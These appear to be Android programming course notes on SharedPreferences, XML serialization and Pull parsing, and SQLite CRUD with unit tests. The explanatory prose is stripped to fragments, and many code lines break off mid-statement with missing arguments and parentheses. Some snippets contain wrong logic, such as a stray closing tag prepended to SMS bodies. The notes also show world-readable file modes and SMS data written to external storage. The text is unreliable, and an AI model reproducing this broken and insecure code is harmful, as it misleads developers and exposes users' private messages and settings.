				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								//	1
								cBox	=	(CheckBox)	this.findViewById(R.id.cb);
								seekBar	=	(SeekBar)	this.findViewById(R.id.sb);
								sp	=	this.getSharedPreferences("config",	Context.MODE_PRIVATE
	
								//	2 checkbox



								boolean	cbIsChecked	=	sp.getBoolean("ischecked",	false);
								//	Value	to	return	if	this	preference	does	not	exist.2preference

								cBox.setChecked(cbIsChecked);
	
								//	3 seekbar
								int	sbProgress	=	sp.getInt("seekBarProgress",	50);//	50
								seekBar.setProgress(sbProgress);
	
								//	- checkbox
								cBox.setOnCheckedChangeListener(new	OnCheckedChangeListener()	{
												/**
													*	 checkbox
													*/
												@Override
												public	void	onCheckedChanged(CompoundButton	buttonView,	
																Editor	cbEditor	=	sp.edit();
																cbEditor.putBoolean("ischecked",	isChecked);
																cbEditor.commit();
																/*
																	*	SharedPreferencescommit()Editor xml
																	*	/data/data//shared_prefs/config.xml
																	*/
												}
								});
								
								//	- seekbar
								seekBar.setOnSeekBarChangeListener(new	OnSeekBarChangeListener()	{
												
												/**
													*	
													*/
												@Override



												public	void	onStopTrackingTouch(SeekBar	seekBar)	{
																
												}
												
												/**
													*	
													*/
												@Override
												public	void	onStartTrackingTouch(SeekBar	seekBar)	{
																
												}
												
												/**
													*	seekbar
													*/
												@Override
												public	void	onProgressChanged(SeekBar	seekBar,	int	progress,	
0~ seekbarmax
																				boolean	fromUser)	{
																Editor	sbEditor	=	sp.edit();
																sbEditor.putInt("seekBarProgress",	progress);
																sbEditor.commit();
												}
								});
				}

}



		

/data/data//shared_prefs/config.xml



1SharedPreferences

1
QQ windowinij2se propertiesxmlAndroid

	
2Android SharedPreferences
SharedPreferences xml /data/data/<package
name>/shared_prefs
	
SharedPreferences	sharedPreferences	=
getSharedPreferences("itcast",
Context.MODE_PRIVATE);
Editor	editor	=	sharedPreferences.edit();//	
editor.putString("name",	"		 ");
editor.putInt("age",	4);
editor.commit();//	
itcast.xml
<?xml	version='1.0'	encoding='utf-8'	standalone='yes'	?>
<map>
<string	name="name">		 </string>
<int	name="age"	value="4"	/>
</map
	

1 SharedPreferencesxml

	

2getSharedPreferences(name,mode) Android



	

3 SharedPreferencesxml

Context.MODE_WORLD_READABLE

Context.MODE_WORLD_WRITEABLE

	

4 ActivitygetPreferences(mode)

SharedPreferences

	2SharedPreferences

a SharedPreferences
SharedPreferences	sharedPreferences	=
getSharedPreferences("itcast",
Context.MODE_PRIVATE);
//getString()		preference		key	
String	name	=	sharedPreferences.getString("name",	"");
int	age	=	sharedPreferences.getInt("age",	1);
	
b Preference

preferenceContext.MODE_WORLD_READABLE
Context.MODE_WORLD_WRITEABLE
<package	name>cn.itcast.actionpreference
getSharedPreferences("itcast",
Context.MODE_WORLD_READABLE);
preferenceContextContext	preference	preference
shared_prefspreference	
Context	otherAppsContext	=



createPackageContext("cn.itcast.action",
Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences	sharedPreferences	=
otherAppsContext.getSharedPreferences("itcast",
Context.MODE_WORLD_READABLE);
String	name	=	sharedPreferences.getString("name",	"");
int	age	=	sharedPreferences.getInt("age",	0);
	
c Contextpreferencexmlpreferencexml
File	xmlFile	=	new	File(“/data/data/<package
name>/shared_prefs/itcast.xml”);//<package	name>



xml——

xml

xml

				/**
					*	1 xml
					*	@param	view
					*/
				public	void	click1(View	view)	{
								try	{
												//	1FileOutputStream



												String	externalStorageState	=	Environment.getExternalStorageState();
												Log.i(TAG,	"sdcard" 	+	externalStorageState);
												File	file	=	new	File(Environment.getExternalStorageDirectory(),"smsinfo.xml"
												FileOutputStream	fos	=	new	FileOutputStream(file);
												//	2StringBuilder
												StringBuilder	sbBuilder	=	new	StringBuilder();
												sbBuilder.append("<?xml	version=\"1.0\"	encoding=\"utf-8\"?>");
												sbBuilder.append("<smss>");
												for	(SmsInfo	smsInfo	:	listsSmsInfos)	{
																//	3 xml
																sbBuilder.append("<sms>");
																sbBuilder.append("<body>");
																sbBuilder.append("</body>"	+	smsInfo.getBody());//	 xml
																sbBuilder.append("</body>");
																sbBuilder.append("<address>");
																sbBuilder.append(smsInfo.getAddress());
																sbBuilder.append("</address>");
																sbBuilder.append("<date>");
																sbBuilder.append(String.valueOf(smsInfo.getDate()));
																sbBuilder.append("</date>");
																sbBuilder.append("</sms>");
												}
												sbBuilder.append("</smss>");
												fos.write(sbBuilder.toString().getBytes());
												//	4
												fos.close();
												Toast.makeText(this,	"xml" ,	0).show();
								}	catch	(Exception	e)	{
												e.printStackTrace();
												Toast.makeText(this,	"xml" ,	0).show();
												return;
								}

				}

xSerializerxml



				/**
					*	2xSerializer xml
					*	
					*	@param	view
					*/
				public	void	click(View	view)	{
								Log.i(TAG,	"" );
								try	{
	
												//	1,xml
												XmlSerializer	xSerializer	=	Xml.newSerializer();
	
												//	2.
												File	file	=	new	File(Environment.getExternalStorageDirectory(),"smsinfo.xml"
												FileOutputStream	fos	=	new	FileOutputStream(file);
												xSerializer.setOutput(fos,	"utf-8");
												
												//	3.xml.
												xSerializer.startDocument("utf-8",	true);
												xSerializer.startTag(null,	"smss");
												
												for	(SmsInfo	smsInfo	:	listsSmsInfos)	{
	
																xSerializer.startTag(null,	"sms");
	
																xSerializer.startTag(null,	"body");
																xSerializer.text("</body>"	+	smsInfo.getBody());
																xSerializer.endTag(null,	"body");
	
																xSerializer.startTag(null,	"address");
																xSerializer.text(smsInfo.getAddress());
																xSerializer.endTag(null,	"address");
	
																xSerializer.startTag(null,	"date");
																xSerializer.text(String.valueOf(smsInfo.getDate()));
																xSerializer.endTag(null,	"date");
	



																xSerializer.endTag(null,	"sms");
												}
												xSerializer.endTag(null,	"smss");
												xSerializer.endDocument();
												fos.close();
	
												Toast.makeText(this,	"xml" ,	0).show();
								}	catch	(Exception	e)	{
												e.printStackTrace();
												Toast.makeText(this,	"xml" ,	0).show();
								}
				}



Pull

pull

Pull http://www.xmlpull.org/	

pullsax

androiddom4jandroidjdkdom4jlog4jawtjarandroid

	SAXDOMXMLAndroidPullXML	
javaEEjar AndroidPulljarandroidxmlPull	
parser.next()SAX	 Pullswitchparser.nextText()Text

	

import	java.io.IOException;
import	java.io.InputStream;
import	java.util.ArrayList;
import	java.util.List;
import	org.xmlpull.v1.XmlPullParser;
import	org.xmlpull.v1.XmlPullParserException;
import	android.util.Xml;
import	cn.zengfansheng.domain.Channel;
/**
	*	
	*/
public	class	WeatherService	{
				public	static	List<Channel>	getAllWeatherInfos(InputStream	in)
												throws	XmlPullParserException,	IOException	{
								List<Channel>	lChannels	=	null;
								Channel	channel	=	null;
								//	1new
								XmlPullParser	parser	=	Xml.newPullParser();

http://www.xmlpull.org/


								//	2.xml
								parser.setInput(in,	"utf-8");
								//	3.xml.
								int	eventType	=	parser.getEventType();//	
								while	(eventType	!=	XmlPullParser.END_DOCUMENT)	{	//	pull
												String	nodeName	=	parser.getName();
												switch	(eventType)	{
												case	XmlPullParser.START_TAG:
																if	("weather".equals(nodeName))	{//	
																				lChannels	=	new	ArrayList<Channel>();	//	
																}	else	if	("channel".equals(nodeName))	{	//	.
																				channel	=	new	Channel();
																				String	id	=	parser.getAttributeValue(null,	"id");
																				channel.setId(Integer.parseInt(id));
																}	else	if	("city".equals(nodeName))	{//	
																				String	city	=	parser.nextText();
																				channel.setCity(city);
																}	else	if	("temp".equals(nodeName))	{
																				String	temp	=	parser.nextText();
																				channel.setTemp(temp);
																}	else	if	("wind".equals(nodeName))	{
																				String	wind	=	parser.nextText();
																				channel.setWind(wind);
																}	else	if	("pm250".equals(nodeName))	{
																				String	pm250	=	parser.nextText();
																				channel.setPm250(Integer.parseInt(pm250));
																}
																break;
												case	XmlPullParser.END_TAG:
																if	("channel".equals(nodeName))	{//	channel
																				lChannels.add(channel);
																				channel	=	null;
																}
																break;
												}
												eventType	=	parser.next();
								}



								return	lChannels;//	
				}
}

1PullXML

import	org.xmlpull.v1.XmlPullParser;
import	android.util.Xml;
import	cn.itcast.xml.domain.Person;
	
public	class	PullXMLReader	{
	
public	static	List<Person>	readXML(InputStream	inStream)	{

				XmlPullParser	parser	=	Xml.newPullParser();
				try	{

				parser.setInput(inStream,	"UTF-8");
				int	eventType	=	parser.getEventType();
				Person	currentPerson	=	null;
				List<Person>	persons	=	null;
				while	(eventType	!=	XmlPullParser.END_DOCUMENT)	{
								switch	(eventType)	{
								case	XmlPullParser.START_DOCUMENT://,
												persons	=	new	ArrayList<Person>();
												break;
								case	XmlPullParser.START_TAG://
												String	name	=	parser.getName();
												if	(name.equalsIgnoreCase("person"))	{
																currentPerson	=	new	Person();
																currentPerson.setId(new	Integer(parser.getAttributeValue(null,	"id")));
												}	else	if	(currentPerson	!=	null)	{
																if	(name.equalsIgnoreCase("name"))	{
																				currentPerson.setName(parser.nextText());//	Text,
																}	else	if	(name.equalsIgnoreCase("age"))	{
																				currentPerson.setAge(new	Short(parser.nextText()));
																}
												}
												break;
								case	XmlPullParser.END_TAG://
												if	(parser.getName().equalsIgnoreCase("person")	&&	currentPerson	!=	null)	{
																persons.add(currentPerson);



																currentPerson	=	null;
												}
												break;
								}
								eventType	=	parser.next();
				}
				inStream.close();
				return	persons;
				}	catch	(Exception	e)	{
								e.printStackTrace();
				}
				return	null;
		}
}

2PullXML

XMLXMLStringBuilderXMLDOM	
XMLPull

Pullitcast.xmlmyitcast.xml
XML

File	xmlFile	=	new	File("myitcast.xml");
FileOutputStream	outStream	=	new	FileOutputStream(xmlFile);
OutputStreamWriter	outStreamWriter	=	new	OutputStreamWriter(outStream,	"UTF-8");
BufferedWriter	writer	=	new	BufferedWriter(outStreamWriter);
writeXML(persons,	writer);
writer.flush();
writer.close();
	
	
xml StringWriter
	
StringWriter	writer	=	new	StringWriter();
writeXML(persons,	writer);
String	content	=	writer.toString();
	

XmlSerializerxml



public	static	String	writeXML(List<Person>	persons,	Writer	writer){	
				XmlSerializer	serializer	=	Xml.newSerializer();
				try	{
								serializer.setOutput(writer);
								serializer.startDocument("UTF-8",	true);
						//,,null
								serializer.startTag("",	"persons");
								for	(Person	person	:	persons){
												serializer.startTag("",	"person");
												serializer.attribute("",	"id",	person.getId().toString());
												serializer.startTag("",	"name");
												serializer.text(person.getName());
												serializer.endTag("",	"name");
												serializer.startTag("",	"age");
												serializer.text(person.getAge().toString());
												serializer.endTag("",	"age");
												serializer.endTag("",	"person");
								}
								serializer.endTag("",	"persons");
								serializer.endDocument();
								return	writer.toString();
				}	catch	(Exception	e)	{
								e.printStackTrace();
				}
				return	null;
}



_Logcat_(-sdcard)__SharedPreferences_xmlpull

,	.
	
1	:
	
:		
	
:	,	.
	
2
	
		function	test
	
		unit	test			junit
	
		integration	test
	
		system	test
	
	
3
	
	smoke	test
	
	pressure	test				android -->adb	shell		-->monkey	5000
	
service

androidjunit

<manifest	xmlns:android="http://schemas.android.com/apk/res/android"



						package="cn.itcast.action“	android:versionCode="1“	
android:versionName="1.0">
	<application	android:icon="@drawable/icon"
android:label="@string/app_name">
								<uses-library	android:name="android.test.runner"	/>
								....
	</application>
	<uses-sdk	android:minSdkVersion="6"	/>
	<instrumentation
android:name="android.test.InstrumentationTestRunner"
		android:targetPackage="cn.itcast.action"	android:label="Tests	for	My	App"
/>
</manifest>

logcat

logcat	5:

						verbose	()	

						debug		

						info		

						warn				

						error		

						assert	()

				 verboselog errorerror

SSystem.outSystem.errLogCat



				 System.outInfo
							System.errWarn

				Log.v(tag,msg)	tag

			Log.w(tag,msg)	//warn

			Log.wtf(tag,msg)//assert

service service.

android		android	 sd 	

1ROM

a	 FileInputStream/FileOutputStream

b)	openFileOutput(filename,mode)	
/data/data/<package	name>/files

“/”	 Android	

Context.MODE_PRIVATE				=		0
Context.MODE_APPEND				=		32768
Context.MODE_WORLD_READABLE	=		1
Context.MODE_WORLD_WRITEABLE	=		2
	
Context.MODE_PRIVATE
Context.MODE_APPEND
	
Context.MODE_APPEND
	



Context.MODE_WORLD_READABLE
Context.MODE_WORLD_WRITEABLE
MODE_WORLD_READABLE
MODE_WORLD_WRITEABLE
	
c)openFileInput(filename);	/data/data/<package
name>/files
	
d)Context.MODE_WORLD_READABLE
Context.MODE_WORLD_WRITEABLE
openFileOutput("itcast.txt",	Context.MODE_WORLD_READABLE
+	Context.MODE_WORLD_WRITEABLE);
	
e)getCacheDir()getFilesDir()
getCacheDir()/data/data/<package	 name>/cache					
getFilesDir()/data/data/<package	 name>/files					

2SDcard

Environment.getExternalStorageDirectory()SDCard				
/mnt/sdcard

Environment.getExternalStorageState()SDCard
SDCard Environment.MEDIA_MOUNTED

<!--	SDCard	 -->

<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE

	



<!--	SDCard	-->
<uses-permission
android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS
	
Android4.0,"SD"SDcard
android.permission.READ_EXTERNAL_STORAGE
	

ctrl+h

sharedpreference

1SharedPreferences	

xml/data/data/<package	 name>/shared_prefs

SharedPreferences	sharedPreferences	=
context.getSharedPreferences("itcast",	Context.MODE_PRIVATE);

getSharedPreferences(name,mode)Android
SharedPreferencesxml

ActivitygetPreferences(mode)SharedPreferences

SharedPreferences	sharedPreferences	=
getSharedPreferences("itcast",
Context.MODE_PRIVATE);
Editor	editor	=	sharedPreferences.edit();//
editor.putString("name",	"" );



editor.putInt("age",	4);
editor.commit();//--
	
2SharedPreferences
	
SharedPreferences	sharedPreferences	=
getSharedPreferences("itcast",
Context.MODE_PRIVATE);
//getString() preferencekey
String	name	=	sharedPreferences.getString("name",
"");
int	age	=	sharedPreferences.getInt("age",	1);
	
3SharedPreferences(preference
Context.MODE_WORLD_READABLE
Context.MODE_WORLD_WRITEABLE)
	
Context	preference	 preferenceshared_prefs
preference
	
Context	otherAppsContext	=
createPackageContext("cn.itcast.action",
Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences	sharedPreferences	=
otherAppsContext.getSharedPreferences("itcast",
Context.MODE_WORLD_READABLE);
String	name	=	sharedPreferences.getString("name",
"");



int	age	=	sharedPreferences.getInt("age",	0);
	
	
Contextpreferencexmlpreferencexml
File	xmlFile	=	new	File(“/data/data/<package
name>/shared_prefs/itcast.xml”);//<package	name>
	

xml

1xml

2XmlSerializer

//	1,xml
XmlSerializer	xSerializer	=	Xml.newSerializer();
	
//	2.
File	file	=	new	File(Environment.getExternalStorageDirectory(),"smsinfo.xml"
FileOutputStream	fos	=	new	FileOutputStream(file);
xSerializer.setOutput(fos,	"utf-8");
	
//	3.xml.
xSerializer.startDocument("utf-8",	true);
xSerializer.startTag(null,	"smss");
	
xSerializer.startTag(null,	"body");
xSerializer.text("</body>"	+	smsInfo.getBody());
xSerializer.endTag(null,	"body");
	

pullxml



1xml

/**
	*	
	*/
public	class	WeatherService	{
				public	static	List<Channel>	getAllWeatherInfos(InputStream	in
												throws	XmlPullParserException,	IOException	{
								List<Channel>	lChannels	=	null;
								Channel	channel	=	null;
								//	1new
								XmlPullParser	parser	=	Xml.newPullParser();
								//	2.xml
								parser.setInput(in,	"utf-8");
								//	3.xml.
								int	eventType	=	parser.getEventType();//	
								while	(eventType	!=	XmlPullParser.END_DOCUMENT)	{	//	
pull
												String	nodeName	=	parser.getName();
												switch	(eventType)	{
												case	XmlPullParser.START_TAG:
																if	("weather".equals(nodeName))	{//	
																				lChannels	=	new	ArrayList<Channel>();	//	
																}	else	if	("channel".equals(nodeName))	{	//	.
																				channel	=	new	Channel();
																				String	id	=	parser.getAttributeValue(null,	"id");
																				channel.setId(Integer.parseInt(id));
																}	else	if	("city".equals(nodeName))	{//	
																				String	city	=	parser.nextText();
																				channel.setCity(city);
																}	else	if	("temp".equals(nodeName))	{
																				String	temp	=	parser.nextText();
																				channel.setTemp(temp);



																}	else	if	("wind".equals(nodeName))	{
																				String	wind	=	parser.nextText();
																				channel.setWind(wind);
																}	else	if	("pm250".equals(nodeName))	{
																				String	pm250	=	parser.nextText();
																				channel.setPm250(Integer.parseInt(pm250));
																}
																break;
												case	XmlPullParser.END_TAG:
																if	("channel".equals(nodeName))	{//	channel
																				lChannels.add(channel);
																				channel	=	null;
																}
																break;
												}
												eventType	=	parser.next();
								}
								return	lChannels;//	
				}

}

2XML

public	static	String	writeXML(List<Person>	persons,	Writer	writer
{
				XmlSerializer	serializer	=	Xml.newSerializer();
				try	{
								serializer.setOutput(writer);
								serializer.startDocument("UTF-8",	true);
								
								//,,null
								serializer.startTag("",	"persons")



								;
								for	(Person	person	:	persons){
								
												serializer.startTag("",	"person");
												
												serializer.attribute("",	"id",	person.getId().toString());
												
												serializer.startTag("",	"name");
												serializer.text(person.getName());
												serializer.endTag("",	"name");
												
												serializer.startTag("",	"age");
												serializer.text(person.getAge().toString());
												serializer.endTag("",	"age");
												
												serializer.endTag("",	"person");
								}
								serializer.endTag("",	"persons");
								serializer.endDocument();
								return	writer.toString();
				}	catch	(Exception	e)	{
								e.printStackTrace();
				}
				return	null;
}

androiddebug

F5F6	F8

	 AndroidManifest.xml



	 pull xml

android	androidlinux

linuxrwx	4	2	 1



	

	
verbose		
sdcard(Secure	Digital	Memory	Card)	
	
froyo	(	android2.2	)
gingerbread	(	android2.3	)
Ice	cream	SandWich		(	android4.0	)
Jelly	Bean		(android4.1/4.2)
	
repository		
	
risky	
	
volumes	
	
compound	
	
preference	



SQLiteOpenHelper	

SQLite Android SQLiteOpenHelper
	
	

SQLiteOpenHelper onCreate(SQLiteDatabase	db)onUpgrade(SQLiteDatabase	db,	int	
newVersion) SQLiteOpenHelpergetWritableDatabase()getReadableDatabase()

onCreate() onCreate() onCreate()onUpgrade()
onUpgrade()

	
	
getWritableDatabase()getReadableDatabase()SQLiteDatabase
getWritableDatabase() getReadableDatabase()

SQLiteOpenHelper

public	class	DatabaseHelper	extends	SQLiteOpenHelper	{
				//,,
					private	static	final	String	name	=	"itcast";	//
					private	static	final	int	version	=	1;	//
					public	DatabaseHelper(Context	context)	{
				//CursorFactory,null,
								super(context,	name,	null,	version);
					}
				@Override	public	void	onCreate(SQLiteDatabase	db)	{
								db.execSQL("CREATE	TABLE	IF	NOT	EXISTS	person	(personid	integer	primary	key	autoincrement,	name	varchar(20),	age	INTEGER)"
					}
				@Override	public	void	onUpgrade(SQLiteDatabase	db,	int	oldVersion,	int	newVersion
								db.execSQL("	ALTER	TABLE	person	ADD	phone	VARCHAR(12)	NULL	"
								//	DROP	TABLE	IF	EXISTS	person	
			}
}



//

	

SQLiteOpenHelperSQLiteDatabase

public	class	DatabaseHelper	extends	SQLiteOpenHelper	{
									private	static	final	String	name	=	"itcast";	//
									private	static	final	int	version	=	1;	//
									......
}
public	class	HelloActivity	extends	Activity	{
				@Override	public	void	onCreate(Bundle	savedInstanceState)	{
								......
								Button	button	=(Button)	this.findViewById(R.id.button);
								button.setOnClickListener(new	View.OnClickListener(){
								public	void	onClick(View	v)	{
																				DatabaseHelper	databaseHelper	=	new	DatabaseHelper(HelloActivity.this);
																				SQLiteDatabase	db	=	databaseHelper.getWritableDatabase();
																				db.execSQL("insert	into	person(name,	age)	values(?,?)",	new	Object[]{"
								}});							
				}
}
getWritableDatabase()getReadableDatabase() SQLiteOpenHelper
SQLiteDatabase close() SQLiteDatabase getWritableDatabase()

1SQLiteOpenHelper

import	android.content.Context;

import	android.database.sqlite.SQLiteDatabase;
import	android.database.sqlite.SQLiteDatabase.CursorFactory;



import	android.database.sqlite.SQLiteOpenHelper;
import	android.util.Log;
public	class	PersonDBOpenHelper	extends	SQLiteOpenHelper	{
	
				private	static	final	String	TAG	=	"PersonDBOpenHelper";
				/**
					*	@param	context
					*													to	use	to	open	or	create	the	database
					*	@param	name
					*												null,()	of	the	database	
					*	@param	factory
					*												,null,Cursor
					*	@param	version
					*													>=1
					*/
				public	PersonDBOpenHelper(Context	context,	String	name,
												CursorFactory	factory,	int	version)	{
								super(context,	name,	factory,	version);
				}
				/**
					*	 <b>	 </b>		Called	when	the	database	is	created	for	the
					*	first	time	
					*/
				@Override
				public	void	onCreate(SQLiteDatabase	db)	{
								Log.i(TAG,	"PersonDBOpenHelper		onCreate" );
								db.execSQL("create	table	person	(id	integer	primary	key	autoincrement,		name	varchar(20),	phone	varchar(20))"
				}
				@Override
				public	void	onUpgrade(SQLiteDatabase	db,	int	oldVersion,	int	newVersion)	{
								Log.i(TAG,	"PersonDBOpenHelper	onUpgrade()	" );
								//	1.0.
								//	2.0.	2.0	
				}

}



public	class	TestPersonDBOpenHelper	extends	AndroidTestCase	{
				public	void	test()	{
								//	getContext()		
								PersonDBOpenHelper	helper	=	new	PersonDBOpenHelper(getContext(),	"mydb.db"
								SQLiteDatabase	database	=	helper.getWritableDatabase();//	
								database.close();
				}
}
SQLiteOpenHelper
	
1 public	SQLiteOpenHelper(Context	context,	String	name,CursorFactory	factory,	
a)		 to	use	to	open	or	create	the	database
b)	null,()
			 of	the	database	file,	or	null	for	an	in-memory	database
c)	,null,Cursor
d)		>=1
	
2
onCreate(SQLiteDatabase	db)				
				Called	when	the	database	is	created	for	the	 first	time	
onUpgrade(SQLiteDatabase	db,	int	oldVersion,	int	newVersion)	
//	1.0.
//	2.0.	2.0	
	
3 PersonDBOpenHelper	helper	=	new	PersonDBOpenHelper(getContext(),	"mydb.db"
			//
SQLiteDatabase	database	=	helper.getWritableDatabase();//	
	
4getContext() ,	

2

SQLite_Expert_Professionalmydb.db

http://www.sqliteexpert.com/download.html	

http://www.sqliteexpert.com/download.html




SQLite

SQLite

Android —SQLiteSQLite3	NULLINTEGERREAL TEXT(
) sqlite3varchar(n)char(n)decimal(p,s)	 	SQLite

	
CREATE	TABLE	 	CREATE	TABLE	 	name
	
CREATE	TABLE	person	(personid	integer	primary	key	autoincrement,	name
varchar(20))
	
SQLiteSQL

select	*	from		where		group	by		having	...	order	by	
select	*	from	person

								select	*	from	person	order	by	id	desc
								select	name	from	person	group	by	name	having	count(*)>1
SQLmysql SQL5 3
select	*	from	Account	limit	5	offset	3		select	*	from	Account	limit	3,5

insert	into	()	values() 	insert	into	person(name,	age)	values(‘
update		set	=	where	 update	person	set	name=‘‘	where	id=10
delete	from		where	 delete	from	person		where	id=10

	

SQLiteDatabase

AndroidSQLiteDatabase API(Create)(Retrieve)(Update)(Delete)
CRUD SQLiteDatabase execSQL()rawQuery() 	execSQL()
insertdeleteupdateCREATE	TABLESQL 	rawQuery()select



execSQL()
	
SQLiteDatabase	db	=	....;
db.execSQL("insert	into	person(name,	age)	values('',	4)");
db.close();
	
SQLperson 	“” insert 	 SQL “	&	”SQL
SQLSQL SQL 	SQLiteDatabaseexecSQL(String	sql,	Object[]
bindArgs) (?)
	
SQLiteDatabase	db	=	....;
db.execSQL("insert	into	person(name,	age)	values(?,?)",	new	Object[]{"
db.close();
execSQL(String	sql,	Object[]	bindArgs)SQL SQL
	
SQLiteDatabaserawQuery()	select
	SQLiteDatabase	db	=	....;
Cursor	cursor	=	db.rawQuery(“select	*	from	person”,	null);
while	(cursor.moveToNext())	{
int	personid	=	cursor.getInt(0);	//,0
String	name	=	cursor.getString(1);//
int	age	=	cursor.getInt(2);//
}
cursor.close();
db.close();
rawQuery()select selectselect nullselect
Cursor	cursor	=	db.rawQuery("select	*	from	person	where	name	
age=?",	new	String[]{"%%",	"4"});
	
Cursor jdbc	CursorJDBCResultSet moveToNext()
Cursor	moveToPrevious() falsetrue	 moveToFirst()



falsetrue	moveToLast() falsetrue		

1SQLite

import	android.content.Context;
import	android.database.Cursor;
import	android.database.sqlite.SQLiteDatabase;
import	cn.zengfansheng.db.PersonDBOpenHelper;
/**
	*	SQLite
	*	
	*	@author	hacket
	*	
	*/
public	class	PersonDao	{
				private	PersonDBOpenHelper	helper;
				//	PersonDaohelper
				public	PersonDao(Context	context)	{
								helper	=	new	PersonDBOpenHelper(context,	"person.db",	null,	1);
				}
				/**
					*	1
					*	@param	name	
					*	@param	phone	
					*/
				public	void	add(String	name,String	phone)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								String	sql	=	"insert	into	person(name,phone)values(?,?)";
								database.execSQL(sql,	new	String[]	{	name,	phone	});
								database.close();//	,		.
				}
				/**
					*	2name
					*	
					*	@param	name
					*												name
					*	@return	truefalse.



					*/
				public	boolean	select(String	name)	{
								SQLiteDatabase	database	=	helper.getReadableDatabase();
								String	sql	=	"select	*	from	person	where	name	=	?";
								Cursor	cursor	=	database.rawQuery(sql,	new	String[]	{	name	});
								boolean	b	=	cursor.moveToFirst();
								cursor.close();
								database.close();
								return	b;
				}
				/**
					*	3namephone
					*	
					*	@param	name
					*												
					*	@param	phone
					*												
					*/
				public	void	update(String	name,	String	phone)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								String	sql	=	"update	person	set	phone	=	?	where	name	=	?";
								database.execSQL(sql,	new	String[]	{	phone,	name	});
								database.close();
				}
				/**
					*	4
					*	@param	name	
					*/
				public	void	delete(String	name)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								String	sql	=	"delete	from	person	where	name	=	?";
								database.execSQL(sql,	new	String[]	{	name	});
								database.close();
				}

}



2

import	android.database.sqlite.SQLiteDatabase;
import	android.test.AndroidTestCase;
import	cn.zengfansheng.db.PersonDBOpenHelper;
import	cn.zengfansheng.personDao.PersonDao;
public	class	TestPersonDBOpenHelper	extends	AndroidTestCase	{
				//	PersonDao	personDao	=	new	PersonDao(getContext())	
				PersonDao	personDao	=	null;
				
				public	void	test()	{
								//	getContext()		
								PersonDBOpenHelper	helper	=	new	PersonDBOpenHelper(getContext(),	"mydb.db"
								SQLiteDatabase	database	=	helper.getWritableDatabase();//	
								database.close();
				}
				/**
					*		
					*/
				@Override
				protected	void	setUp()	throws	Exception	{
								super.setUp();
								personDao	=	new	PersonDao(getContext());
				}
				/**
					*	
					*/
				@Override
				protected	void	tearDown()	throws	Exception	{
								super.tearDown();
								personDao	=	null;
				}
				/**
					*	1
					*/
				public	void	testAdd()	{
								//	PersonDao	personDao	=	new	PersonDao(getContext());



								personDao.add("hacket",	"112");
				}
				/**
					*	2
					*/
				public	void	testSelect()	{
								PersonDao	personDao	=	new	PersonDao(getContext());
								boolean	b	=	personDao.select("hacket");
								assertEquals(true,	b);
				}
				/**
					*	3
					*/
				public	void	testUpdate()	{
								PersonDao	personDao	=	new	PersonDao(getContext());
								personDao.update("hacket",	"123454687");
				}
				/**
					*	4
					*/
				public	void	testDelete()	{
								PersonDao	personDao	=	new	PersonDao(getContext());
								personDao.delete("hacket");
				}
}

3

a	 		.

database.close()

b

cursor.close();

c)	Context



//	PersonDao	personDao	=	new	PersonDao(getContext())	

				/**
					*		
					*/
				@Override
				protected	void	setUp()	throws	Exception	{
								super.setUp();
								personDao	=	new	PersonDao(getContext());

				}



SQLite(GoogleAPI)

	
SQLiteDatabase
execSQL()rawQuery() 	SQLiteDatabase
insert()delete()update()query()	SQL SQL execSQL()rawQuery()
SQL
Insert()ContentValues 	ContentValuesMAPMAPput(String	key,	Xxx
value)getAsXxx(String	key) 		key value Xxx

StringInteger
SQLiteDatabase	db	=	databaseHelper.getWritableDatabase();
ContentValues	values	=	new	ContentValues();
values.put("name",	"");
values.put("age",	4);
long	rowid	=	db.insert(“person”,	null,	values);// id

Insert() Null Insert()insert	SQL Insert()
values	Null0	Insert()Null SQL 	insert insert	into
person(name)	values(NULL)		insert 	insert	into	person()	values()

INTEGER insert	
insert NULLvalues	Null0	null
	
delete()
SQLiteDatabase	db	=	databaseHelper.getWritableDatabase();
db.delete("person",	"personid<?",	new	String[]{"2"});
db.close();
personpersonid2
	
update()
SQLiteDatabase	db	=	databaseHelper.getWritableDatabase();



ContentValues	values	=	new	ContentValues();
values.put(“name”,	“”);//key value
db.update("person",	values,	"personid=?",	new	String[]{"1"});
db.close();
personpersonid1name“”
	
query()select
SQLiteDatabase	db	=	databaseHelper.getWritableDatabase();
Cursor	cursor	=	db.query("person",	new	String[]{"personid,name,age"},
"name	like	?",	new	String[]{"%%"},	null,	null,	"personid	desc",	"1,2");
while	(cursor.moveToNext())	{
									int	personid	=	cursor.getInt(0);	//,0
								String	name	=	cursor.getString(1);//
								int	age	=	cursor.getInt(2);//
}
cursor.close();
db.close();
personname“” personid 2
	
query(table,	columns,	selection,	selectionArgs,	groupBy,	having,
orderBy,	limit)
table selectfrom
columns selectselect
selection selectwhere “?”
selectionArgsselection
groupByselectgroup	by
havingselecthaving
orderByselectorder	by personid	desc,	age	asc;
limit selectlimit
	



SQLite(GoogleAPI)	

insert

				public	long	insertWithOnConflict(String	table,	String	nullColumnHack,
												ContentValues	initialValues,	int	conflictAlgorithm)	{
								acquireReference();
								try	{
												StringBuilder	sql	=	new	StringBuilder();
												sql.append("INSERT");
												sql.append(CONFLICT_VALUES[conflictAlgorithm]);
												sql.append("	INTO	");
												sql.append(table);
												sql.append('(');
												Object[]	bindArgs	=	null;
												int	size	=	(initialValues	!=	null	&&	initialValues.size()	>	0)
																				?	initialValues.size()	:	0;
												if	(size	>	0)	{
																bindArgs	=	new	Object[size];
																int	i	=	0;
																for	(String	colName	:	initialValues.keySet())	{
																				sql.append((i	>	0)	?	","	:	"");
																				sql.append(colName);
																				bindArgs[i++]	=	initialValues.get(colName);
																}
																sql.append(')');
																sql.append("	VALUES	(");
																for	(i	=	0;	i	<	size;	i++)	{
																				sql.append((i	>	0)	?	",?"	:	"?");
																}
												}	else	{
																sql.append(nullColumnHack	+	")	VALUES	(NULL");
												}
												sql.append(')');
												SQLiteStatement	statement	=	new	SQLiteStatement(this,	sql.toString(),	bindArgs);
												try	{



																return	statement.executeInsert();
												}	finally	{
																statement.close();
												}
								}	finally	{
												releaseReference();
								}
				}
	
1
2'insert	into	tableName('	 ContentValueskeysql
			')	values	(' ContentValuesvaluesql
